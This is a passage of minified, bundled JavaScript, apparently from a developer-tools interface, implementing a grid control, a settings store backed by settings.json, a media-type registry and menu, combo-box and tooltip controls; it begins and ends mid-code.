d=o.width;o.width=i;this._applyColumnSizing(n,d,!0);return!1}}_onHeaderKeydown(e){if(40==e.keyCode||38==e.keyCode||37==e.keyCode||39==e.keyCode){e.stopPropagation();e.preventDefault();return!1}if(13==e.keyCode){var t=this._focus,n=this._onHeaderClick(e);t.focus();return n}}_moveSizingElement(e){var t=this._measurements.gutterWidth;if(!this._sizingElement){if(e<0)return;this._sizingElement=this.createElementWithClass("div","grid-column-sizing");this._canvas.appendChild(this._sizingElement)}this._sizingElement.style.height=this._canvas.clientHeight-1+"px";this._sizingElement.style.top=this._scrollTop+"px";if(e<0){this._sizingElement.style.left="-5000px";this._sizingElement.style.top="-5000px";this._sizingElement.style.height="0px"}else{for(var n=0;n<=e;){var o=this._columns[n++];o.hidden||(t+=o.width)}this._sizingElement.style.left=t-1+"px"}}_getVisibleColumnIndex(e){var t=0,n=0;if(this._columns[e].hidden)return-1;for(;t<e;){this._columns[t].hidden||n++;t++}return n}_onColumnResize(e){this.fireCustomEvent(this._element,"columnresize",[e])}_tryFinishColumnSizing(e){var t=this._columnSizing;if(t){if(!0===t.active){e||this._applyColumnSizing(t.index,t.originalWidth,!0);this._moveSizingElement(-1)}this._columnSizing=null;this._clearMoveEvents()}}_getSortColumns(e){for(var t=this._columns,n=[],o=0,r=e.length;o<r;o++)for(var i=e[o],a=0;a<t.length;++a){var s=t[a];if(s.index===i.index){n.push(s);break}}return n}_sortBy(e,t){var n=this._sortOrder.slice(0),o=!1;if(e){for(var i=0,a=n.length;i<a;i++){if((s=n[i]).index===e.index){n.splice(i,1);o=!0;break}}var s;s=o?new r.g(s.index,"asc"===s.order?"desc":"asc"):new r.g(e.index,e.defaultSortOrder);t&&this._options.allowSortOnMultiColumns?n.push(s):n=[s]}this._options.onBeforeSortCallback&&this._options.onBeforeSortCallback(n);var l=this._getSortColumns(n);this._onSort(n,l)}_onSort(e,t){!1!==this.onSort(e,t)&&this.fireCustomEvent(this._element,"sort",[{sortOrder:e,sortColumns:t}])}_onCanvasScroll(e){var t=this._canvas;this._resetScroll=!0;this._scrollLeft=t.scrollLeft;this._scrollTop=t.scrollTop;this._ignoreScroll||this._redraw();return!1}_getClickedCell(e){return this.findClosestElement(e.target,".grid-cell")}_createEditCellBox(e,t,n,o){var r=n.innerText,i=this.createElementWithClass("input","grid-edit-box");i.setAttribute("type","text");i.setAttribute("value",r);function a(r){var a=i.value;n.innerText=a;if(o){o(a,e,t);r.stopPropagation();r.preventDefault();return!1}}i.addEventListener("focusout",function(e){a(e)});i.addEventListener("keydown",function(e){if(13===e.keyCode)a(e);else if(27===e.keyCode){n.innerText=r;e.stopPropagation();e.preventDefault();return!1}});n.innerHTML="";n.appendChild(i);i.select();i.focus()}_onEditCell(e){if(!e.target.classList.contains("grid-tree-icon")){var t=this._getClickedCell(e);if(t&&t.classList.contains("grid-cell-editable")){var n=this.getRowInfoFromEvent(e,"."+this._options.rowClass);if(n){for(var o=n.row.children,r=o.length,i=-1,a=0;a<r;a++)t===o[a]&&(i=a);this._createEditCellBox(n.dataIndex,i,t,this._editCellCallback)}}}}_onGutterClick(e){var t=this.getRowInfoFromEvent(e,".grid-gutter-row");t&&(this._selectedRows&&"number"==typeof this._selectedRows[t.rowIndex]||this._selectRow(t.rowIndex,t.dataIndex))}_updateThemeAttributes(){var e=Object(a.b)().getValue("plugin-font-size");-1!==e.indexOf("px")?this._textFontPx=parseInt(e.substring(0,e.indexOf("px"))):-1!==e.indexOf("pt")?this._textFontPx=Math.round(parseInt(e.substring(0,e.indexOf("pt")))/.75):this._textFontPx=0}}h.EVENT_ROW_EXPANDED_COLLAPSED="rowExpandedCollapsed";h.TYPE_NAME="GridControl";h.EVENT_SELECTED_INDEX_CHANGED="selectedIndexChanged";h.INDENT_PER_LEVEL=16;h.ASCENDING_ARROW="5";h.DESCENDING_ARROW="6"},function(e,t,n){"use strict";n.d(t,"a",function(){return r});n.d(t,"b",function(){return i});var o=n(140);class r{raiseEvent(e){}raiseEventWithMessage(e,t){}raiseEventWithKey(e,t,n){}}class i{constructor(e){this._performanceTracer=e||o;this._performanceTracer=e}raiseEventWithKey(e,t,n){this._performanceTracer&&this._performanceTracer.raiseEventWithKey(e,t,n)}raiseEventWithMessage(e,t){this._performanceTracer&&this._performanceTracer.raiseEvent(e,t)}raiseEvent(e){this.raiseEventWithMessage(e,"")}}},,function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{}o.BINDING="data-binding";o.CONTROL="data-control";o.NAME="data-name";o.CONTROL_TEMPLATE_ID=o.CONTROL+"-templateId";o.CONTROL_BINDING="data-controlbinding";o.OPTIONS="data-options";o.TEMPLATE_ID_OPTION=o.OPTIONS+"-templateId"},function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});n.d(t,"c",function(){return a});var o=n(10);const r=Symbol("ServiceProxy#register"),i=Symbol("ServiceProxy#fire");class a{constructor(e){this.serviceName=e;this.rpc=Object(o.g)()}[r](e,t){this.rpc.register(e,t)}[i](e,t,n=!1){this.rpc.broadcast(`${this.serviceName}:${e}`,t)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return a});var o=n(13),r=n(10),i=n(6);class a{static get isAvailable(){return!0}static selectDomElement(e){e&&Object(o.D)(e);Object(o.a)(i.c.dom)}static highlightElement(e){Object(r.g)().broadcast("toolMessage",{type:"highlightDomElement",uidChain:e})}static clearHighlight(){Object(r.g)().broadcast("toolMessage",{type:"removeDomHighlight"})}}},function(e,t,n){"use strict";n.d(t,"b",function(){return s});n.d(t,"a",function(){return l});n.d(t,"c",function(){return c});var o=n(14),r=n(43);class i{getSettings(e="",t=[]){return this.getScopedData(e).then(e=>{let n=t;0===n.length&&(n=Object.getOwnPropertyNames(e));const o={};for(const t of n){const n=t;e.hasOwnProperty(n)?o[n]=e[n]:o[n]=null}return o})}saveSettings(e="",t={}){return this.getScopedData(e).then(e=>{for(const n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return this.setSettingsData(this._loadedData)})}getSettingsData(){if(this._loadedData)return Promise.resolve(this._loadedData);const e={access:o.a.read,encoding:"UTF-8",mode:o.c.openOrCreate,persistence:o.d.permanent,share:o.e.none,type:o.f.text};return Object(r.a)().readEntireFile(i.DefaultFileName,e).then(e=>{let t;if(e)try{t=JSON.parse(e)}catch(e){t={}}t||(t={});t[0]||(t[0]={});t[1]||(t[1]={});this._loadedData=t;return this._loadedData})}setSettingsData(e){this._currentSavePromise?this._nextSaveData=e:this._currentSavePromise=this.setSettingsDataImpl(e).then(()=>{const e=this._nextSaveData;this._currentSavePromise=void 0;this._nextSaveData=void 0;if(e)return this.setSettingsData(e)});return this._currentSavePromise}async setSettingsDataImpl(e){const t={access:o.a.write,encoding:"UTF-8",mode:o.c.createNew,persistence:o.d.permanent,share:o.e.none,type:o.f.text},n=JSON.stringify(e);await Object(r.a)().writeEntireFile(i.DefaultFileName,n,t);this._loadedData=e}getSettingsInfoFromCollection(e){let t=0,n=e||"";if(1===e.indexOf(":")){"c"===e[0].toLowerCase()&&(t=1);n=e.substr(2)||""}return{scope:t,name:n}}getScopedData(e){const t=this.getSettingsInfoFromCollection(e);return this.getSettingsData().then(e=>{let n=e[t.scope];if(t.name){n[t.name]||(n[t.name]={});n=n[t.name]}return n})}}i.DefaultFileName="settings.json";let a;function s(){a||(a=new i);return a}async function l(e,t){return s().getSettings(e,t)}async function c(e,t){return s().saveSettings(e,t)}},,function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(4);class r{static reinitialize(){this._initialized=!1;this.initialize()}static getCanonicalMediaType(e){this.initialize();if(!e)return e;e=this.normalizeMediaType(e);return this.getCanonicalMediaTypeCommon(e)}static isEditableMediaType(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.isEditableMediaTypeCommon(e)}static mediaTypeSupportsFindRefs(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.mediaTypeSupportsFindRefsCommon(e)}static isJMCEnabledForMediaType(e){this.initialize();if(!e)return!1;e=this.normalizeMediaType(e);return this.isJMCEnabledForMediaTypeCommon(e)}static getMediaTypeForFileExtension(e,t){this.initialize();if(e){e=this.normalizeFileExtension(e);return this.getMediaTypeForFileExtensionCommon(e,t)}return this.getCanonicalFallbackMediaType(t)}static getSortedMediaTypes(e){this.initialize();if(!e)return[];var t=new Set,n=(e=e.filter(e=>{if(!e||t.has(e))return!1;t.add(e);return!0})).length;if(n<=0)return[];for(var o=new Array(n),r=new Array(n),i=0;i<n;i++){o[i]=i;var a=this.normalizeMediaType(e[i]);r[i]=this.getCanonicalMediaTypeCommon(a)}o.sort((e,t)=>{var n=this.getRank(r[e]),o=this.getRank(r[t]);return n<o?-1:n>o?1:e-t});var s=new Array(n);for(i=0;i<n;i++)s[i]=e[o[i]];return s}static registerMediaTypes(e){if(e)for(var t in e)this.registerMediaType(t,e[t])}static registerMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.registerMediaTypeCommon(e,t)}}static setEditableMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.setEditableMediaTypeCommon(e,t)}}static setJMCEnabledMediaType(e,t){if(e){e=this.normalizeMediaType(e);this.setJMCEnabledMediaTypeCommon(e,t)}}static registerAlternateMediaTypes(e,t){if(e&&t&&!(t.length<=0)){e=this.normalizeMediaType(e);this.registerAlternateMediaTypesCommon(e,t)}}static registerAlternateMediaType(e,t){if(e&&t){e=this.normalizeMediaType(e);t=this.normalizeMediaType(t);this.registerAlternateMediaTypeCommon(e,t)}}static registerMediaTypeFileExtensions(e,t){if(e&&t&&!(t.length<=0)){e=this.normalizeMediaType(e);this.registerMediaTypeFileExtensionsCommon(e,t)}}static registerMediaTypeFileExtension(e,t){if(t&&e){e=this.normalizeMediaType(e);t=this.normalizeFileExtension(t);this.registerMediaTypeFileExtensionCommon(e,t)}}static initialize(){if(!this._initialized){this.registerMediaTypes(this._defaultMediaTypes);this.setEditableMediaType("text/css",!0);this.setEditableMediaType("text/javascript",!0);this._initialized=!0}}static getCanonicalMediaTypeCommon(e){for(;;){var t=this._canonicalMap.get(e);if(!t)break;e=t}return e}static getMediaTypeForFileExtensionCommon(e,t){var n=this._extensionMap.get(e);return n?this.getCanonicalMediaTypeCommon(n):this.getCanonicalFallbackMediaType(t)}static isEditableMediaTypeCommon(e){for(;e;){if(this._editableMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static isJMCEnabledForMediaTypeCommon(e){for(;e;){if(this._jmcMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static mediaTypeSupportsFindRefsCommon(e){for(;e;){if(this._findRefsMediaTypes.has(e))return!0;e=this._canonicalMap.get(e)}return!1}static registerMediaTypeCommon(e,t){if(t){t.alternates&&t.alternates.length>0&&this.registerAlternateMediaTypesCommon(e,t.alternates);t.extensions&&t.extensions.length>0&&this.registerMediaTypeFileExtensionsCommon(e,t.extensions);"editable"in t&&this.setEditableMediaTypeCommon(e,t.editable);"canFindRefs"in t&&this.setMediaTypeCanFindRefsCommon(e,t.canFindRefs);"jmcEnabled"in t&&this.setJMCEnabledMediaTypeCommon(e,t.jmcEnabled)}}static registerAlternateMediaTypesCommon(e,t){t.forEach(t=>{if(t){t=this.normalizeMediaType(t);this.registerAlternateMediaTypeCommon(e,t)}})}static registerAlternateMediaTypeCommon(e,t){if(e!==t){for(var n=this._canonicalMap.get(e);n;){o.a.areNotEqual(n,t,"Invalid attempt to add a cyclical reference to a media type.");n=this._canonicalMap.get(n)}this._canonicalMap.set(t,e)}}static registerMediaTypeFileExtensionsCommon(e,t){t.forEach(t=>{if(t){t=this.normalizeFileExtension(t);this.registerMediaTypeFileExtensionCommon(e,t)}})}static registerMediaTypeFileExtensionCommon(e,t){this._extensionMap.set(t,e)}static setEditableMediaTypeCommon(e,t){t?this._editableMediaTypes.add(e):this._editableMediaTypes.delete(e)}static setMediaTypeCanFindRefsCommon(e,t){t?this._findRefsMediaTypes.add(e):this._findRefsMediaTypes.delete(e)}static setJMCEnabledMediaTypeCommon(e,t){t?this._jmcMediaTypes.add(e):this._jmcMediaTypes.delete(e)}static normalizeMediaType(e){var t=(e=(e=e.trim()).toLowerCase()).indexOf(";");t>-1&&(e=e.substr(0,t));return e}static normalizeFileExtension(e){"."!==(e=(e=e.trim()).toLowerCase()).charAt(0)&&(e="."+e);return e}static getRank(e){switch(e){case"text/plain":return 3;case"text/javascript":case"text/html":case"text/css":case"text/xml":return 2;case"text/typescript":case"text/coffeescript":case"text/x-csharp":case"text/less":case"text/scss":return 1;default:return 0}}static getCanonicalFallbackMediaType(e){if(e){e=this.normalizeMediaType(e);return this.getCanonicalMediaTypeCommon(e)}return"text/plain"}}r._initialized=!1;r._defaultMediaTypes={"text/html":{alternates:["text/x-jshtm","text/x.jshtm"],extensions:[".html",".htm"],jmcEnabled:!0},"text/xml":{alternates:["application/xml"],extensions:[".xml",".xsl",".svg"]},"text/javascript":{alternates:["text/javascript1.0","text/javascript1.1","text/javascript1.2","text/javascript1.3","text/javascript1.4","text/javascript1.5","text/jscript","text/livescript","text/x-javascript","text/x-ecmascript","text/x.javascript","text/x.ecmascript","application/javascript","application/ecmascript","application/x-javascript","application/x-ecmascript","application/x.javascript","application/x.ecmascript"],extensions:[".js"],jmcEnabled:!0,canFindRefs:!0},"text/typescript":{alternates:["video/vnd.dlna.mpeg-tts","text/x.typescript","text/vnd.ms.typescript","application/typescript","application/x.typescript","application/vnd.ms.typescript"],extensions:[".ts",".str"],jmcEnabled:!0,canFindRefs:!0},"text/coffeescript":{alternates:["text/x-coffeescript","text/x.coffeescript","application/coffeescript","application/x-coffeescript","application/x.coffeescript"],extensions:[".coffee"],jmcEnabled:!0},"text/x-csharp":{alternates:[],extensions:[".cs"],jmcEnabled:!0},"text/css":{alternates:[],extensions:[".css"]},"text/less":{alternates:["text/x-less","text/x.less"],extensions:[".less"]},"text/scss":{alternates:["text/x-scss","text/x.scss"],extensions:[".sass",".scss"]}};r._extensionMap=new Map;r._canonicalMap=new Map;r._editableMediaTypes=new Set;r._findRefsMediaTypes=new Set;r._jmcMediaTypes=new Set},function(e,t,n){"use strict";var o=n(34),r=n(106),i=n(97);class a extends r.a{constructor(e){super(e)}onKeyboardEventOverride(e){let t=!1;if(40===e.keyCode&&e.altKey&&!e.ctrlKey)switch(e.type){case"keydown":this.isPressed=!0;t=!0;break;case"keyup":if(this.isPressed){this.isPressed=!1;this.press()}t=!0}t&&event.preventDefault();return t}}var s=n(19),l=n(92),c=n(8),u=n(138),d=n(173),h=n(4);class p extends s.a{constructor(e){super(e)}get itemControlsPoolSizeLimit(){return this._itemControlsPool?this._itemControlsPool.sizeLimit:0}set itemControlsPoolSizeLimit(e){this.itemControlsPoolSizeLimit!==e&&(this._itemControlsPool=new d.a(e))}static initialize(){c.a.defineProperty(p,"items","",(e,t,n)=>e.onItemsChange(t,n));c.a.defineProperty(p,"itemContainerControl","",(e,t,n)=>e.onItemContainerControlChange(t,n))}getIndex(e){h.a.isTrue(!!this._collection,"Expecting a non-null collection in the ItemsControl");var t=this._collection.indexOf(e);if(-1!==t)return t}getItem(e){h.a.isTrue(!!this._collection,"Expecting a non-null collection in the ItemsControl");return this._collection.getItem(e)}getItemCount(){return this._collection?this._collection.length:0}onTooltipChangedOverride(){super.onTooltipChangedOverride();this.updateTooltip(this.tooltip)}disposeItemContainerOverride(e){}prepareItemContainerOverride(e,t){}onApplyTemplate(){super.onApplyTemplate();this.panelRootElement=this.getNamedElement(p.PanelRootElementName)||this.rootElement;h.a.isTrue(!!this.panelRootElement,"Expecting a root element for the panel in ItemsControl.");this.updateTooltip(this.tooltip);this.regenerateItemControls()}onTemplateChanging(){this.updateTooltip(null);this.removeAllItemControls();super.onTemplateChanging()}onItemsChangedOverride(){}onItemContainerControlChangedOverride(){}onCollectionChangedOverride(e){}onItemsChange(e,t){if(this._collectionChangedRegistration){this._collectionChangedRegistration.unregister();this._collectionChangedRegistration=null}this._collection=null;if(this.items)if(this.items.collectionChanged){this._collectionChangedRegistration=this.items.collectionChanged.addHandler(this.onCollectionChanged.bind(this));this._collection=this.items}else this._collection=new l.a(this.items);this.regenerateItemControls();this.onItemsChangedOverride()}onItemContainerControlChange(e,t){this._itemContainerConstruction=null;this._itemControlsPool&&this._itemControlsPool.clear();this.itemContainerControl&&(this._itemContainerConstruction=u.a.createFromStringOrType(this.itemContainerControl));this.regenerateItemControls();this.onItemContainerControlChangedOverride()}onCollectionChanged(e){switch(e.action){case 0:this.insertItemControls(e.newStartingIndex,e.newItems.length);break;case 3:this.removeAllItemControls();break;case 1:this.removeItemControls(e.oldStartingIndex,e.oldItems.length);break;case 2:this.regenerateItemControls()}this.onCollectionChangedOverride(e)}createItemControl(e){var t;t=this._itemControlsPool?this._itemControlsPool.getControl("default",()=>this._itemContainerConstruction.getNewControl()):this._itemContainerConstruction.getNewControl();this.prepareItemContainer(t,e);return t}disposeItemContainer(e){this.disposeItemContainerOverride(e);if(e&&e.model){e.model=null;this._itemControlsPool&&this._itemControlsPool.recycleControl("default",e)}}prepareItemContainer(e,t){this._itemContainerConstruction.isTemplateControl&&(e.model=t);this.prepareItemContainerOverride(e,t)}regenerateItemControls(){this.removeAllItemControls();this._collection&&this.insertItemControls(0,this._collection.length)}insertItemControls(e,t){if(this._itemContainerConstruction){var n=e+t;h.a.isTrue(n<=this._collection.length,"Unexpected range after inserting into items.");h.a.isTrue(e<=this.panelRootElement.childElementCount,"Collection and child elements mismatch.");if(e===this.panelRootElement.childElementCount)for(var o=e;o<n;o++){var r=this._collection.getItem(o),i=this.createItemControl(r);this.panelRootElement.appendChild(i.rootElement)}else{var a=this.panelRootElement.childNodes.item(e);for(o=e;o<n;o++){r=this._collection.getItem(o),i=this.createItemControl(r);this.panelRootElement.insertBefore(i.rootElement,a)}}}}removeAllItemControls(){if(this.panelRootElement)for(;this.panelRootElement.hasChildNodes();){var e=this.panelRootElement.lastChild,t=e.control;this.disposeItemContainer(t);this.panelRootElement.removeChild(e)}}removeItemControls(e,t){for(var n=e+t-1;n>=e;n--){var o=this.panelRootElement.children[n];if(o){var r=o.control;this.disposeItemContainer(r);this.panelRootElement.removeChild(o)}}}updateTooltip(e){if(this.panelRootElement)if(e){this.panelRootElement.setAttribute("data-plugin-vs-tooltip",e);this.panelRootElement.setAttribute("aria-label",e)}else{this.panelRootElement.removeAttribute("data-plugin-vs-tooltip");this.panelRootElement.removeAttribute("aria-label")}}}p.PanelRootElementName="_panel";p.initialize();var m=n(15);class g extends i.a{constructor(e){super(e||"Common.menuItemTemplate");this.click=new m.a}static initialize(){c.a.defineProperty(g,g.GroupNamePropertyName,null);c.a.defineProperty(g,g.IsChecked,!1,(e,t,n)=>e.onIsCheckedChanged(t,n))}onInitializeOverride(){super.onInitializeOverride();this._mouseHandler=(e=>this.onMouseEvent(e));this._keyUpHandler=(e=>this.onKeyUp(e));this._domEventHanlder=(e=>this.onDomAttributeModified(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.addEventListener("click",this._mouseHandler);this.rootElement.addEventListener("mousedown",this._mouseHandler);this.rootElement.addEventListener("mouseup",this._mouseHandler);this.rootElement.addEventListener("mouseleave",this._mouseHandler);this.rootElement.addEventListener("keyup",this._keyUpHandler);this.rootElement.addEventListener("DOMAttrModified",this._domEventHanlder)}this.onIsCheckedChanged(null,this.isChecked)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onKeyUpOverride(e){return!1}onMouseClickOverride(e){return!1}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("click",this._mouseHandler);this.rootElement.removeEventListener("mousedown",this._mouseHandler);this.rootElement.removeEventListener("mouseup",this._mouseHandler);this.rootElement.removeEventListener("mouseleave",this._mouseHandler);this.rootElement.removeEventListener("keyup",this._keyUpHandler);this.rootElement.removeEventListener("DOMAttrModified",this._domEventHanlder)}}press(e){this.isEnabled&&this.click.invoke(e)}onDomAttributeModified(e){if("aria-checked"===e.attrName){var t="true"===e.newValue;this.isChecked!==t&&(this.isChecked=t)}}onIsCheckedChanged(e,t){if(this.rootElement){t?this.rootElement.classList.remove(g.CLASS_HIDDEN_CHECK_MARK):this.rootElement.classList.add(g.CLASS_HIDDEN_CHECK_MARK);this.rootElement.setAttribute("aria-checked",""+t);this.rootElement.focus()}}onKeyUp(e){if(this.isEnabled){var t=this.onKeyUpOverride(e);if(!t&&(13===e.keyCode||32===e.keyCode)){this.press(e);t=!0}t&&e.stopImmediatePropagation()}}onMouseEvent(e){if(this.isEnabled){switch(e.type){case"click":this.onMouseClickOverride(e)||this.press(e);break;case"mousedown":case"mouseup":case"mouseleave":break;default:h.a.fail("Unexpected")}e.stopImmediatePropagation()}}}g.CLASS_HIDDEN_CHECK_MARK="hiddenCheckMark";g.GroupNamePropertyName="groupName";g.IsChecked="isChecked";g.initialize();var f=n(137),_=n(20),v=n(0);class b extends s.a{constructor(e){super(e||"sourceInfoTooltipTemplate")}get html(){return this.rootElement.outerHTML}static initialize(){c.a.defineProperty(b,b.TitleLabelResourceIdPropertyName,null);c.a.defineProperty(b,b.TitlePropertyName,null)}onApplyTemplate(){super.onApplyTemplate();var e=this.getNamedElement("sourceInfoFileLabel");h.a.isTrue(e,"Expecting a named element");e.innerText=Object(v.b)("/Common/ScriptErrorFile","");var t=this.getNamedElement("sourceInfoLineLabel");h.a.isTrue(e,"Expecting a named element");t.innerText=Object(v.b)("/Common/ScriptErrorLine","");var n=this.getNamedElement("sourceInfoColumnLabel");h.a.isTrue(e,"Expecting a named element");n.innerText=Object(v.b)("/Common/ScriptErrorColumn","")}}b.TitleLabelResourceIdPropertyName="titleLabelResourceId";b.TitlePropertyName="title";b.initialize();var C=n(40);class y{constructor(){this.sourceMapChange=new m.a;addEventListener("onSourceMapStateChanged",e=>this.onSourceMapStateChangedHandler(e))}getTranslatedLocation(e){return C.g(e.source,e.line,e.column).then(t=>({sourceInfo:e,mappedSourceInfo:{column:t.oneBasedColumn,line:t.oneBasedLine,name:e.name,source:t.documentPath}}))}onSourceMapStateChangedHandler(e){this.sourceMapChange.invoke({originalSource:e.url})}}var E=new y;class S extends s.a{constructor(e){super(e||"sourceInfoTemplate");this.click=new m.a}static initialize(){c.a.defineProperty(S,S.KeyboardAccessiblePropertyName,!0,e=>e.onKeyboardAccessibleChanged());c.a.defineProperty(S,S.MappedSourceInfoPropertyName,null)}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.addEventListener("mouseover",e=>this.showTooltip(e));this.rootElement.addEventListener("mouseout",e=>_.a());this.rootElement.addEventListener("mousedown",e=>this.stopMouseEvents(e));this.rootElement.addEventListener("mouseup",e=>this.stopMouseEvents(e));this.rootElement.addEventListener("click",e=>{if(this.model&&this.isEnabled){this.click.invoke(this.model);this.stopMouseEvents(e)}});this.rootElement.addEventListener("keydown",e=>{var t=32===e.keyCode||13===e.keyCode;if(this.model&&this.keyboardAccessible&&this.isEnabled&&t){this.click.invoke(this.model);e.stopImmediatePropagation();e.preventDefault();return!1}})}this.onKeyboardAccessibleChanged()}onModelChanged(){super.onModelChanged();if(this._onSourceMapStateChangeRegistration){this._onSourceMapStateChangeRegistration.unregister();this._onSourceMapStateChangeRegistration=null}this.updateMappedSourceInfo();this.model&&(this._onSourceMapStateChangeRegistration=E.sourceMapChange.addHandler(e=>this.onSourceMapStateChanged(e)))}onKeyboardAccessibleChanged(){this.tabIndex=this.keyboardAccessible?0:-1}onSourceMapStateChanged(e){this.updateMappedSourceInfo()}showTooltip(e){if(this.model){var t=new b;t.model=this.mappedSourceInfo;this.onShowingTooltip&&this.onShowingTooltip(t);var n={content:t.html,contentContainsHTML:!0};_.c(n);e.stopImmediatePropagation()}}stopMouseEvents(e){if(this.model&&this.isEnabled){e.stopImmediatePropagation();e.preventDefault()}}updateMappedSourceInfo(){this.mappedSourceInfo&&this.model||(this.mappedSourceInfo=this.model);if(this.model&&this.model.source){var e=this.model;E.getTranslatedLocation(e).then(e=>{e.sourceInfo===this.model&&(this.mappedSourceInfo=e.mappedSourceInfo)})}}}S.KeyboardAccessiblePropertyName="keyboardAccessible";S.MappedSourceInfoPropertyName="mappedSourceInfo";S.initialize();var T=n(172);class w extends g{constructor(e){super(e||"Common.menuItemTextBoxTemplate")}static initialize(){c.a.defineProperty(w,w.PlaceholderPropertyName,null)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onApplyTemplate(){super.onApplyTemplate();this._textBox=this.getNamedElement("BPT-menuItemTextBox");h.a.isTrue(!!this._textBox,"Expecting a textbox with the name BPT-menuItemTextBox");this.rootElement.addEventListener("focusin",this._focusInHandler)}onKeyUpOverride(e){var t=!1;if(e.srcElement===this._textBox&&27===e.keyCode){e.stopImmediatePropagation();t=!0}t||(t=super.onKeyUpOverride(e));return t}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("focusin",this._focusInHandler)}press(e){}onFocusIn(e){this._textBox.focus()}}w.PlaceholderPropertyName="placeholder";w.initialize();class k extends r.a{constructor(e){super(e);this.toggleIsCheckedOnClick=!0;this.click.addHandler(()=>{this.toggleIsCheckedOnClick&&(this.isChecked=!this.isChecked)})}static initialize(){c.a.defineProperty(r.a,"isChecked",!1,(e,t,n)=>e.onIsCheckedChanged(t,n))}onInitializeOverride(){super.onInitializeOverride();this._modificationHandler=(e=>this.onModificationEvent(e))}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this.rootElement.addEventListener("DOMAttrModified",this._modificationHandler);this.onIsCheckedChanged(null,this.isChecked)}}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("DOMAttrModified",this._modificationHandler)}onKeyboardEventOverride(e){if(40===e.keyCode&&e.altKey&&!e.ctrlKey)switch(e.type){case"keydown":this.press(e);return!0}return!1}onIsCheckedChanged(e,t){if(this.rootElement){if(!this._isChangingAriaPressed){this._isChangingAriaPressed=!0;this.rootElement.setAttribute("aria-pressed",t+"");this._isChangingAriaPressed=!1}t?this.rootElement.classList.add(k.CLASS_CHECKED):this.rootElement.classList.remove(k.CLASS_CHECKED)}}onModificationEvent(e){if(!this._isChangingAriaPressed&&this.isEnabled&&"aria-pressed"===e.attrName&&e.attrChange===e.MODIFICATION){this._isChangingAriaPressed=!0;this.isChecked="true"===e.newValue;this._isChangingAriaPressed=!1}}}k.CLASS_CHECKED="checked";k.initialize();var x=n(85),I=n(72);class O extends p{constructor(e){super(e||"Common.defaultComboBoxTemplate");this.itemContainerControl="Common.TemplateControl(Common.defaultComboBoxItemTemplate)"}get focusableElement(){return this.rootElement}static initialize(){c.a.defineProperty(O,O.SelectedValuePropertyName,"")}onApplyTemplate(){super.onApplyTemplate();if(this.rootElement){this._onMouseOver=(e=>this.onMouseOver(e));this._onMouseOut=(e=>this.onMouseOut(e));this._onMouseDown=(e=>this.onMouseDown(e));this.rootElement.addEventListener("mouseover",this._onMouseOver);this.rootElement.addEventListener("mouseout",this._onMouseOut);this.rootElement.addEventListener("mousedown",this._onMouseDown)}}onTemplateChanging(){super.onTemplateChanging();if(this.rootElement){this.rootElement.removeEventListener("mouseover",this._onMouseOver);this.rootElement.removeEventListener("mouseout",this._onMouseOut);this.rootElement.removeEventListener("mousedown",this._onMouseDown)}}onItemsChangedOverride(){this.propertyChanged.invoke(O.SelectedValuePropertyName)}onItemContainerControlChangedOverride(){this.propertyChanged.invoke(O.SelectedValuePropertyName)}onCollectionChangedOverride(e){this.propertyChanged.invoke(O.SelectedValuePropertyName)}onIsEnabledChangedOverride(){super.onIsEnabledChangedOverride();this.isEnabled?this.rootElement.removeAttribute("disabled"):this.rootElement.setAttribute("disabled","disabled")}onMouseOver(e){if(this.isEnabled){for(var t=this.selectedValue,n=this.getItemCount(),o=0;o<n;o++){var r=this.getItem(o);r.value===t&&r.tooltip&&_.c({content:r.tooltip})}e.stopImmediatePropagation();e.preventDefault()}}onMouseOut(e){_.a()}onMouseDown(e){_.a()}}O.SelectedValuePropertyName="selectedValue";O.initialize();var L=n(18);class D extends g{constructor(e){super(e||"Common.menuItemComboBoxTemplate")}static initialize(){c.a.defineProperty(D,"items",null);c.a.defineProperty(D,"selectedValue",null)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onApplyTemplate(){super.onApplyTemplate();this._selectElement=this.getNamedElement("BPT-menuItemComboBox");h.a.isTrue(!!this._selectElement,"Expecting a combobox with the name BPT-menuItemComboBox");this.rootElement.addEventListener("focusin",this._focusInHandler)}onKeyUpOverride(e){var t=!1;(e.srcElement===this._selectElement&&e.key===L.h.SPACEBAR||e.key===L.h.ENTER||e.key===L.h.DOWN||e.key===L.h.UP)&&(t=!0);t||(t=super.onKeyUpOverride(e));return t}onTemplateChanging(){super.onTemplateChanging();this.rootElement&&this.rootElement.removeEventListener("focusin",this._focusInHandler)}press(e){}onFocusIn(e){this._selectElement.focus()}}D.initialize();class R extends g{constructor(e){super(e||"Common.menuItemCheckBoxTemplate")}onKeyUpOverride(e){var t=!1;if(32===e.keyCode){this.isChecked=!this.isChecked;t=!0}t||(t=super.onKeyUpOverride(e));return t}press(e){var t=this.getNamedElement("BPT-menuItemCheckBox");if(!e||e.srcElement!==t){this.isChecked=!this.isChecked;super.press(e)}}}n.d(t,"a",function(){return P});function 